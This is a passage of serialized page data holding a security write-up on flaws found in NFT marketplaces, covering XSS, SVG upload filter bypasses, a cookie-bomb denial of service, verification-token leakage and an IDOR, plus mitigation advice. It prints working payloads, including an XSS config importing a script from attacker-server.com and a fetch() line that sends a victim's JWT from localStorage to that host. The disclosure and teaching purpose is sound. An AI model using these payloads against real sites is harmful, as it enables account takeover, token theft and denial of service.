:29,"value":4666},{"type":23,"tag":141,"props":32444,"children":32445},{"class":143,"line":2567},[32446,32450,32454],{"type":23,"tag":141,"props":32447,"children":32448},{"style":30844},[32449],{"type":29,"value":30898},{"type":23,"tag":141,"props":32451,"children":32452},{"style":449},[32453],{"type":29,"value":30851},{"type":23,"tag":141,"props":32455,"children":32456},{"style":30844},[32457],{"type":29,"value":4666},{"type":23,"tag":32,"props":32459,"children":32460},{},[32461],{"type":29,"value":32462},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":131,"props":32464,"children":32468},{"className":32465,"code":32466,"language":32467,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[32469],{"type":23,"tag":38,"props":32470,"children":32471},{"__ignoreMap":7},[32472,32479,32500,32521,32538],{"type":23,"tag":141,"props":32473,"children":32474},{"class":143,"line":144},[32475],{"type":23,"tag":141,"props":32476,"children":32477},{"style":154},[32478],{"type":29,"value":766},{"type":23,"tag":141,"props":32480,"children":32481},{"class":143,"line":180},[32482,32487,32491,32496],{"type":23,"tag":141,"props":32483,"children":32484},{"style":750},[32485],{"type":29,"value":32486}," \"address\"",{"type":23,"tag":141,"props":32488,"children":32489},{"style":154},[32490],{"type":29,"value":14008},{"type":23,"tag":141,"props":32492,"children":32493},{"style":828},[32494],{"type":29,"value":32495},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":141,"props":32497,"children":32498},{"style":154},[32499],{"type":29,"value":2168},{"type":23,"tag":141,"props":32501,"children":32502},{"class":143,"line":205},[32503,32508,32512,32517],{"type":23,"tag":141,"props":32504,"children":32505},{"style":750},[32506],{"type":29,"value":32507}," \"to\"",{"type":23,"tag":141,"props":32509,"children":32510},{"style":154},[32511],{"type":29,"value":14008},{"type":23,"tag":141,"props":32513,"children":32514},{"style":828},[32515],{"type":29,"value":32516},"\"profile-assets\"",{"type":23,"tag":141,"props":32518,"children":32519},{"style":154},[32520],{"type":29,"value":2168},{"type":23,"tag":141,"props":32522,"children":32523},{"class":143,"line":218},[32524,32529,32533],{"type":23,"tag":141,"props":32525,"children":32526},{"style":750},[32527],{"type":29,"value":32528}," \"type\"",{"type":23,"tag":141,"props":32530,"children":32531},{"style":154},[32532],{"type":29,"value":14008},{"type":23,"tag":141,"props":32534,"children":32535},{"style":828},[32536],{"type":29,"value":32537},"\"icon\"\n",{"type":23,"tag":141,"props":32539,"children":32540},{"class":143,"line":227},[32541],{"type":23,"tag":141,"props":32542,"children":32543},{"style":154},[32544],{"type":29,"value":2573},{"type":23,"tag":32,"props":32546,"children":32547},{},[32548],{"type":29,"value":32549},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":131,"props":32551,"children":32553},{"className":29831,"code":32552,"language":29833,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[32554],{"type":23,"tag":38,"props":32555,"children":32556},{"__ignoreMap":7},[32557],{"type":23,"tag":141,"props":32558,"children":32559},{"class":143,"line":144},[32560,32565,32569,32574,32579,32584,32588,32593,32597,32602,32606,32611,32615],{"type":23,"tag":141,"props":32561,"children":32562},{"style":184},[32563],{"type":29,"value":32564},"fetch",{"type":23,"tag":141,"props":32566,"children":32567},{"style":154},[32568],{"type":29,"value":192},{"type":23,"tag":141,"props":32570,"children":32571},{"style":828},[32572],{"type":29,"value":32573},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":141,"props":32575,"children":32576},{"style":449},[32577],{"type":29,"value":32578},"${",{"type":23,"tag":141,"props":32580,"children":32581},{"style":750},[32582],{"type":29,"value":32583},"localStorage",{"type":23,"tag":141,"props":32585,"children":32586},{"style":160},[32587],{"type":29,"value":322},{"type":23,"tag":141,"props":32589,"children":32590},{"style":184},[32591],{"type":29,"value":32592},"getItem",{"type":23,"tag":141,"props":32594,"children":32595},{"style":160},[32596],{"type":29,"value":192},{"type":23,"tag":141,"props":32598,"children":32599},{"style":828},[32600],{"type":29,"value":32601},"'token'",{"type":23,"tag":141,"props":32603,"children":32604},{"style":160},[32605],{"type":29,"value":1788},{"type":23,"tag":141,"props":32607,"children":32608},{"style":449},[32609],{"type":29,"value":32610},"}",{"type":23,"tag":141,"props":32612,"children":32613},{"style":828},[32614],{"type":29,"value":9062},{"type":23,"tag":141,"props":32616,"children":32617},{"style":154},[32618],{"type":29,"value":2496},{"type":23,"tag":8287,"props":32620,"children":32622},{"id":32621},"svgs",[32623],{"type":29,"value":32624},"SVGs",{"type":23,"tag":32,"props":32626,"children":32627},{},[32628],{"type":29,"value":32629},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":32,"props":32631,"children":32632},{},[32633],{"type":29,"value":32634},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":131,"props":32636,"children":32638},{"className":29831,"code":32637,"language":29833,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[32639],{"type":23,"tag":38,"props":32640,"children":32641},{"__ignoreMap":7},[32642,32688,32725,32732,32762,32794,32822,32830,32846],{"type":23,"tag":141,"props":32643,"children":32644},{"class":143,"line":144},[32645,32650,32655,32660,32664,32669,32674,32678,32683],{"type":23,"tag":141,"props":32646,"children":32647},{"style":160},[32648],{"type":29,"value":32649},"\u003C?",{"type":23,"tag":141,"props":32651,"children":32652},{"style":750},[32653],{"type":29,"value":32654},"xml",{"type":23,"tag":141,"props":32656,"children":32657},{"style":750},[32658],{"type":29,"value":32659}," version",{"type":23,"tag":141,"props":32661,"children":32662},{"style":160},[32663],{"type":29,"value":1377},{"type":23,"tag":141,"props":32665,"children":32666},{"style":828},[32667],{"type":29,"value":32668},"\"1.0\"",{"type":23,"tag":141,"props":32670,"children":32671},{"style":750},[32672],{"type":29,"value":32673}," encoding",{"type":23,"tag":141,"props":32675,"children":32676},{"style":160},[32677],{"type":29,"value":1377},{"type":23,"tag":141,"props":32679,"children":32680},{"style":828},[32681],{"type":29,"value":32682},"\"UTF-8\"",{"type":23,"tag":141,"props":32684,"children":32685},{"style":160},[32686],{"type":29,"value":32687},"?>\n",{"type":23,"tag":141,"props":32689,"children":32690},{"class":143,"line":180},[32691,32696,32701,32706,32711,32716,32721],{"type":23,"tag":141,"props":32692,"children":32693},{"style":160},[32694],{"type":29,"value":32695},"\u003C!",{"type":23,"tag":141,"props":32697,"children":32698},{"style":750},[32699],{"type":29,"value":32700},"DOCTYPE",{"type":23,"tag":141,"props":32702,"children":32703},{"style":750},[32704],{"type":29,"value":32705}," svg",{"type":23,"tag":141,"props":32707,"children":32708},{"style":750},[32709],{"type":29,"value":32710}," PUBLIC",{"type":23,"tag":141,"props":32712,"children":32713},{"style":828},[32714],{"type":29,"value":32715}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":141,"props":32717,"children":32718},{"style":828},[32719],{"type":29,"value":32720}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":141,"props":32722,"children":32723},{"style":160},[32724],{"type":29,"value":4666},{"type":23,"tag":141,"props":32726,"children":32727},{"class":143,"line":205},[32728],{"type":23,"tag":141,"props":32729,"children":32730},{"emptyLinePlaceholder":15},[32731],{"type":29,"value":719},{"type":23,"tag":141,"props":32733,"children":32734},{"class":143,"line":218},[32735,32739,32744,32749,32753,32758],{"type":23,"tag":141,"props":32736,"children":32737},{"style":30844},[32738],{"type":29,"value":7395},{"type":23,"tag":141,"props":32740,"children":32741},{"style":449},[32742],{"type":29,"value":32743},"svg",{"type":23,"tag":141,"props":32745,"children":32746},{"style":750},[32747],{"type":29,"value":32748}," xmlns",{"type":23,"tag":141,"props":32750,"children":32751},{"style":160},[32752],{"type":29,"value":1377},{"type":23,"tag":141,"props":32754,"children":32755},{"style":828},[32756],{"type":29,"value":32757},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":141,"props":32759,"children":32760},{"style":30844},[32761],{"type":29,"value":4666},{"type":23,"tag":141,"props":32763,"children":32764},{"class":143,"line":227},[32765,32769,32774,32778,32782,32786,32790],{"type":23,"tag":141,"props":32766,"children":32767},{"style":30844},[32768],{"type":29,"value":30863},{"type":23,"tag":141,"props":32770,"children":32771},{"style":449},[32772],{"type":29,"value":32773},"title",{"type":23,"tag":141,"props":32775,"children":32776},{"style":30844},[32777],{"type":29,"value":9142},{"type":23,"tag":141,"props":32779,"children":32780},{"style":154},[32781],{"type":29,"value":29705},{"type":23,"tag":141,"props":32783,"children":32784},{"style":30844},[32785],{"type":29,"value":30898},{"type":23,"tag":141,"props":32787,"children":32788},{"style":449},[32789],{"type":29,"value":32773},{"type":23,"tag":141,"props":32791,"children":32792},{"style":30844},[32793],{"type":29,"value":4666},{"type":23,"tag":141,"props":32795,"children":32796},{"class":143,"line":241},[32797,32801,32805,32809,32813,32818],{"type":23,"tag":141,"props":32798,"children":32799},{"style":30844},[32800],{"type":29,"value":30863},{"type":23,"tag":141,"props":32802,"children":32803},{"style":449},[32804],{"type":29,"value":30884},{"type":23,"tag":141,"props":32806,"children":32807},{"style":750},[32808],{"type":29,"value":31009},{"type":23,"tag":141,"props":32810,"children":32811},{"style":160},[32812],{"type":29,"value":1377},{"type":23,"tag":141,"props":32814,"children":32815},{"style":828},[32816],{"type":29,"value":32817},"\"text/javascript\"",{"type":23,"tag":141,"props":32819,"children":32820},{"style":30844},[32821],{"type":29,"value":4666},{"type":23,"tag":141,"props":32823,"children":32824},{"class":143,"line":262},[32825],{"type":23,"tag":141,"props":32826,"children":32827},{"style":154},[32828],{"type":29,"value":32829}," alert(document.domain);\n",{"type":23,"tag":141,"props":32831,"children":32832},{"class":143,"line":271},[32833,32838,32842],{"type":23,"tag":141,"props":32834,"children":32835},{"style":30844},[32836],{"type":29,"value":32837}," \u003C/",{"type":23,"tag":141,"props":32839,"children":32840},{"style":449},[32841],{"type":29,"value":30884},{"type":23,"tag":141,"props":32843,"children":32844},{"style":30844},[32845],{"type":29,"value":4666},{"type":23,"tag":141,"props":32847,"children":32848},{"class":143,"line":293},[32849,32854,32858],{"type":23,"tag":141,"props":32850,"children":32851},{"style":30844},[32852],{"type":29,"value":32853}," \u003C/",{"type":23,"tag":141,"props":32855,"children":32856},{"style":449},[32857],{"type":29,"value":32743},{"type":23,"tag":141,"props":32859,"children":32860},{"style":30844},[32861],{"type":29,"value":4666},{"type":23,"tag":32,"props":32863,"children":32864},{},[32865,32867,32874],{"type":29,"value":32866},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":55,"props":32868,"children":32871},{"href":32869,"rel":32870},"https://xtingles.com/",[59],[32872],{"type":29,"value":32873},"xtingles Marketplace",{"type":29,"value":322},{"type":23,"tag":32,"props":32876,"children":32877},{},[32878],{"type":29,"value":32879},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":32,"props":32881,"children":32882},{},[32883],{"type":29,"value":32884},"Below, we show you how we did it.",{"type":23,"tag":32,"props":32886,"children":32887},{},[32888],{"type":29,"value":32889},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":32,"props":32891,"children":32892},{},[32893],{"type":23,"tag":2591,"props":32894,"children":32896},{"alt":7,"src":32895},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":32,"props":32898,"children":32899},{},[32900],{"type":29,"value":32901},"After changing the extension inside the file name.",{"type":23,"tag":32,"props":32903,"children":32904},{},[32905],{"type":23,"tag":2591,"props":32906,"children":32908},{"alt":7,"src":32907},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":8287,"props":32910,"children":32912},{"id":32911},"svgs-return",[32913],{"type":29,"value":32914},"SVGs Return",{"type":23,"tag":32,"props":32916,"children":32917},{},[32918],{"type":29,"value":32919},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":32,"props":32921,"children":32922},{},[32923],{"type":29,"value":32924},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":32,"props":32926,"children":32927},{},[32928],{"type":29,"value":32929},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":131,"props":32931,"children":32935},{"className":32932,"code":32933,"language":32934,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[32936],{"type":23,"tag":38,"props":32937,"children":32938},{"__ignoreMap":7},[32939,32978,33009,33016,33043,33074,33101,33109,33117,33124,33136,33211,33219,33234],{"type":23,"tag":141,"props":32940,"children":32941},{"class":143,"line":144},[32942,32946,32950,32954,32958,32962,32966,32970,32974],{"type":23,"tag":141,"props":32943,"children":32944},{"style":160},[32945],{"type":29,"value":32649},{"type":23,"tag":141,"props":32947,"children":32948},{"style":750},[32949],{"type":29,"value":32654},{"type":23,"tag":141,"props":32951,"children":32952},{"style":750},[32953],{"type":29,"value":32659},{"type":23,"tag":141,"props":32955,"children":32956},{"style":160},[32957],{"type":29,"value":1377},{"type":23,"tag":141,"props":32959,"children":32960},{"style":828},[32961],{"type":29,"value":32668},{"type":23,"tag":141,"props":32963,"children":32964},{"style":750},[32965],{"type":29,"value":32673},{"type":23,"tag":141,"props":32967,"children":32968},{"style":160},[32969],{"type":29,"value":1377},{"type":23,"tag":141,"props":32971,"children":32972},{"style":828},[32973],{"type":29,"value":32682},{"type":23,"tag":141,"props":32975,"children":32976},{"style":160},[32977],{"type":29,"value":32687},{"type":23,"tag":141,"props":32979,"children":32980},{"class":143,"line":180},[32981,32985,32989,32993,32997,33001,33005],{"type":23,"tag":141,"props":32982,"children":32983},{"style":160},[32984],{"type":29,"value":32695},{"type":23,"tag":141,"props":32986,"children":32987},{"style":750},[32988],{"type":29,"value":32700},{"type":23,"tag":141,"props":32990,"children":32991},{"style":750},[32992],{"type":29,"value":32705},{"type":23,"tag":141,"props":32994,"children":32995},{"style":750},[32996],{"type":29,"value":32710},{"type":23,"tag":141,"props":32998,"children":32999},{"style":828},[33000],{"type":29,"value":32715},{"type":23,"tag":141,"props":33002,"children":33003},{"style":828},[33004],{"type":29,"value":32720},{"type":23,"tag":141,"props":33006,"children":33007},{"style":160},[33008],{"type":29,"value":4666},{"type":23,"tag":141,"props":33010,"children":33011},{"class":143,"line":205},[33012],{"type":23,"tag":141,"props":33013,"children":33014},{"emptyLinePlaceholder":15},[33015],{"type":29,"value":719},{"type":23,"tag":141,"props":33017,"children":33018},{"class":143,"line":218},[33019,33023,33027,33031,33035,33039],{"type":23,"tag":141,"props":33020,"children":33021},{"style":30844},[33022],{"type":29,"value":7395},{"type":23,"tag":141,"props":33024,"children":33025},{"style":449},[33026],{"type":29,"value":32743},{"type":23,"tag":141,"props":33028,"children":33029},{"style":750},[33030],{"type":29,"value":32748},{"type":23,"tag":141,"props":33032,"children":33033},{"style":160},[33034],{"type":29,"value":1377},{"type":23,"tag":141,"props":33036,"children":33037},{"style":828},[33038],{"type":29,"value":32757},{"type":23,"tag":141,"props":33040,"children":33041},{"style":30844},[33042],{"type":29,"value":4666},{"type":23,"tag":141,"props":33044,"children":33045},{"class":143,"line":227},[33046,33050,33054,33058,33062,33066,33070],{"type":23,"tag":141,"props":33047,"children":33048},{"style":30844},[33049],{"type":29,"value":30863},{"type":23,"tag":141,"props":33051,"children":33052},{"style":449},[33053],{"type":29,"value":32773},{"type":23,"tag":141,"props":33055,"children":33056},{"style":30844},[33057],{"type":29,"value":9142},{"type":23,"tag":141,"props":33059,"children":33060},{"style":154},[33061],{"type":29,"value":29705},{"type":23,"tag":141,"props":33063,"children":33064},{"style":30844},[33065],{"type":29,"value":30898},{"type":23,"tag":141,"props":33067,"children":33068},{"style":449},[33069],{"type":29,"value":32773},{"type":23,"tag":141,"props":33071,"children":33072},{"style":30844},[33073],{"type":29,"value":4666},{"type":23,"tag":141,"props":33075,"children":33076},{"class":143,"line":241},[33077,33081,33085,33089,33093,33097],{"type":23,"tag":141,"props":33078,"children":33079},{"style":30844},[33080],{"type":29,"value":30863},{"type":23,"tag":141,"props":33082,"children":33083},{"style":449},[33084],{"type":29,"value":30884},{"type":23,"tag":141,"props":33086,"children":33087},{"style":750},[33088],{"type":29,"value":31009},{"type":23,"tag":141,"props":33090,"children":33091},{"style":160},[33092],{"type":29,"value":1377},{"type":23,"tag":141,"props":33094,"children":33095},{"style":828},[33096],{"type":29,"value":32817},{"type":23,"tag":141,"props":33098,"children":33099},{"style":30844},[33100],{"type":29,"value":4666},{"type":23,"tag":141,"props":33102,"children":33103},{"class":143,"line":262},[33104],{"type":23,"tag":141,"props":33105,"children":33106},{"style":154},[33107],{"type":29,"value":33108}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":141,"props":33110,"children":33111},{"class":143,"line":271},[33112],{"type":23,"tag":141,"props":33113,"children":33114},{"style":154},[33115],{"type":29,"value":33116}," var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":141,"props":33118,"children":33119},{"class":143,"line":293},[33120],{"type":23,"tag":141,"props":33121,"children":33122},{"emptyLinePlaceholder":15},[33123],{"type":29,"value":719},{"type":23,"tag":141,"props":33125,"children":33126},{"class":143,"line":801},[33127,33132],{"type":23,"tag":141,"props":33128,"children":33129},{"style":154},[33130],{"type":29,"value":33131}," for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":141,"props":33133,"children":33134},{"style":449},[33135],{"type":29,"value":766},{"type":23,"tag":141,"props":33137,"children":33138},{"class":143,"line":810},[33139,33144,33148,33153,33157,33162,33167,33171,33175,33180,33184,33189,33193,33198,33202,33207],{"type":23,"tag":141,"props":33140,"children":33141},{"style":750},[33142],{"type":29,"value":33143}," document",{"type":23,"tag":141,"props":33145,"children":33146},{"style":160},[33147],{"type":29,"value":322},{"type":23,"tag":141,"props":33149,"children":33150},{"style":750},[33151],{"type":29,"value":33152},"cookie",{"type":23,"tag":141,"props":33154,"children":33155},{"style":160},[33156],{"type":29,"value":31380},{"type":23,"tag":141,"props":33158,"children":33159},{"style":828},[33160],{"type":29,"value":33161},"'Cookie'",{"type":23,"tag":141,"props":33163,"children":33164},{"style":160},[33165],{"type":29,"value":33166}," + ",{"type":23,"tag":141,"props":33168,"children":33169},{"style":750},[33170],{"type":29,"value":2404},{"type":23,"tag":141,"props":33172,"children":33173},{"style":160},[33174],{"type":29,"value":33166},{"type":23,"tag":141,"props":33176,"children":33177},{"style":828},[33178],{"type":29,"value":33179},"'='",{"type":23,"tag":141,"props":33181,"children":33182},{"style":160},[33183],{"type":29,"value":33166},{"type":23,"tag":141,"props":33185,"children":33186},{"style":750},[33187],{"type":29,"value":33188},"Set_Cookie",{"type":23,"tag":141,"props":33190,"children":33191},{"style":160},[33192],{"type":29,"value":33166},{"type":23,"tag":141,"props":33194,"children":33195},{"style":828},[33196],{"type":29,"value":33197},"';Domain='",{"type":23,"tag":141,"props":33199,"children":33200},{"style":160},[33201],{"type":29,"value":33166},{"type":23,"tag":141,"props":33203,"children":33204},{"style":750},[33205],{"type":29,"value":33206},"Take_Domain",{"type":23,"tag":141,"props":33208,"children":33209},{"style":160},[33210],{"type":29,"value":1684},{"type":23,"tag":141,"props":33212,"children":33213},{"class":143,"line":824},[33214],{"type":23,"tag":141,"props":33215,"children":33216},{"style":449},[33217],{"type":29,"value":33218}," }\n",{"type":23,"tag":141,"props":33220,"children":33221},{"class":143,"line":839},[33222,33226,33230],{"type":23,"tag":141,"props":33223,"children":33224},{"style":30844},[33225],{"type":29,"value":32837},{"type":23,"tag":141,"props":33227,"children":33228},{"style":449},[33229],{"type":29,"value":30884},{"type":23,"tag":141,"props":33231,"children":33232},{"style":30844},[33233],{"type":29,"value":4666},{"type":23,"tag":141,"props":33235,"children":33236},{"class":143,"line":848},[33237,33241,33245],{"type":23,"tag":141,"props":33238,"children":33239},{"style":30844},[33240],{"type":29,"value":32853},{"type":23,"tag":141,"props":33242,"children":33243},{"style":449},[33244],{"type":29,"value":32743},{"type":23,"tag":141,"props":33246,"children":33247},{"style":30844},[33248],{"type":29,"value":4666},{"type":23,"tag":32,"props":33250,"children":33251},{},[33252],{"type":29,"value":33253},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":24,"props":33255,"children":33257},{"id":33256},"authentication",[33258],{"type":29,"value":33259},"Authentication",{"type":23,"tag":32,"props":33261,"children":33262},{},[33263],{"type":23,"tag":47,"props":33264,"children":33265},{},[33266,33268,33275],{"type":29,"value":33267},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":55,"props":33269,"children":33272},{"href":33270,"rel":33271},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[59],[33273],{"type":29,"value":33274},"great misfortune has occured",{"type":29,"value":322},{"type":23,"tag":8287,"props":33277,"children":33279},{"id":33278},"verification-token-leakage",[33280],{"type":29,"value":33281},"Verification Token Leakage",{"type":23,"tag":32,"props":33283,"children":33284},{},[33285],{"type":29,"value":33286},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":32,"props":33288,"children":33289},{},[33290],{"type":29,"value":33291},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":32,"props":33293,"children":33294},{},[33295,33300],{"type":23,"tag":47,"props":33296,"children":33297},{},[33298],{"type":29,"value":33299},"Proof of Concept",{"type":29,"value":33301},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":32,"props":33303,"children":33304},{},[33305],{"type":29,"value":33306},"Here's the breakdown.",{"type":23,"tag":32,"props":33308,"children":33309},{},[33310],{"type":29,"value":33311},"First, we send the verification link to a user's email:",{"type":23,"tag":29814,"props":33313,"children":33314},{"style":29816},[33315],{"type":23,"tag":2591,"props":33316,"children":33320},{"src":33317,"alt":33318,"style":33319},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":32,"props":33322,"children":33323},{},[33324],{"type":29,"value":33325},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":8287,"props":33327,"children":33329},{"id":33328},"idor",[33330],{"type":29,"value":33331},"IDOR",{"type":23,"tag":32,"props":33333,"children":33334},{},[33335],{"type":23,"tag":47,"props":33336,"children":33337},{},[33338,33340,33347],{"type":29,"value":33339},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":55,"props":33341,"children":33344},{"href":33342,"rel":33343},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[59],[33345],{"type":29,"value":33346},"insect",{"type":29,"value":322},{"type":23,"tag":32,"props":33349,"children":33350},{},[33351,33353,33359],{"type":29,"value":33352},"During a security assessment of the ",{"type":23,"tag":55,"props":33354,"children":33357},{"href":33355,"rel":33356},"https://rocki.com",[59],[33358],{"type":29,"value":29752},{"type":29,"value":33360},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":32,"props":33362,"children":33363},{},[33364],{"type":29,"value":33365},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":32,"props":33367,"children":33368},{},[33369],{"type":29,"value":33370},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":32,"props":33372,"children":33373},{},[33374,33376,33382,33384,33389],{"type":29,"value":33375},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":38,"props":33377,"children":33379},{"className":33378},[],[33380],{"type":29,"value":33381},"https://evil.com/",{"type":29,"value":33383},". To achieve this, we simply changed the ",{"type":23,"tag":38,"props":33385,"children":33387},{"className":33386},[],[33388],{"type":29,"value":2146},{"type":29,"value":33390}," field value to one that belongs to another user:",{"type":23,"tag":32,"props":33392,"children":33393},{},[33394],{"type":23,"tag":2591,"props":33395,"children":33397},{"alt":7,"src":33396},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":32,"props":33399,"children":33400},{},[33401],{"type":29,"value":33402},"The following screenshot is the response to our request:",{"type":23,"tag":32,"props":33404,"children":33405},{},[33406],{"type":23,"tag":2591,"props":33407,"children":33409},{"alt":7,"src":33408},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":24,"props":33411,"children":33413},{"id":33412},"preventative-action-steps-for-marketplaces",[33414],{"type":23,"tag":3998,"props":33415,"children":33416},{},[33417],{"type":29,"value":33418},"Preventative Action Steps for Marketplaces",{"type":23,"tag":32,"props":33420,"children":33421},{},[33422],{"type":29,"value":33423},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":32,"props":33425,"children":33426},{},[33427,33429,33435,33437,33443],{"type":29,"value":33428},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":38,"props":33430,"children":33432},{"className":33431},[],[33433],{"type":29,"value":33434},"innerText",{"type":29,"value":33436}," instead of ",{"type":23,"tag":38,"props":33438,"children":33440},{"className":33439},[],[33441],{"type":29,"value":33442},"innerHTML",{"type":29,"value":33444}," in client-side:",{"type":23,"tag":131,"props":33446,"children":33448},{"className":29831,"code":33447,"language":29833,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[33449],{"type":23,"tag":38,"props":33450,"children":33451},{"__ignoreMap":7},[33452],{"type":23,"tag":141,"props":33453,"children":33454},{"class":143,"line":144},[33455,33459,33463,33468,33472,33477,33481,33485,33489,33494],{"type":23,"tag":141,"props":33456,"children":33457},{"style":750},[33458],{"type":29,"value":31176},{"type":23,"tag":141,"props":33460,"children":33461},{"style":154},[33462],{"type":29,"value":322},{"type":23,"tag":141,"props":33464,"children":33465},{"style":184},[33466],{"type":29,"value":33467},"getElementById",{"type":23,"tag":141,"props":33469,"children":33470},{"style":154},[33471],{"type":29,"value":192},{"type":23,"tag":141,"props":33473,"children":33474},{"style":828},[33475],{"type":29,"value":33476},"'nftCollectionName'",{"type":23,"tag":141,"props":33478,"children":33479},{"style":154},[33480],{"type":29,"value":19414},{"type":23,"tag":141,"props":33482,"children":33483},{"style":750},[33484],{"type":29,"value":33434},{"type":23,"tag":141,"props":33486,"children":33487},{"style":160},[33488],{"type":29,"value":1674},{"type":23,"tag":141,"props":33490,"children":33491},{"style":750},[33492],{"type":29,"value":33493}," nftCollectionName",{"type":23,"tag":141,"props":33495,"children":33496},{"style":154},[33497],{"type":29,"value":1684},{"type":23,"tag":32,"props":33499,"children":33500},{},[33501],{"type":29,"value":33502},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":131,"props":33504,"children":33506},{"className":29831,"code":33505,"language":29833,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[33507],{"type":23,"tag":38,"props":33508,"children":33509},{"__ignoreMap":7},[33510],{"type":23,"tag":141,"props":33511,"children":33512},{"class":143,"line":144},[33513,33518,33523,33527,33532,33536,33541,33545,33550],{"type":23,"tag":141,"props":33514,"children":33515},{"style":449},[33516],{"type":29,"value":33517},"var",{"type":23,"tag":141,"props":33519,"children":33520},{"style":750},[33521],{"type":29,"value":33522}," 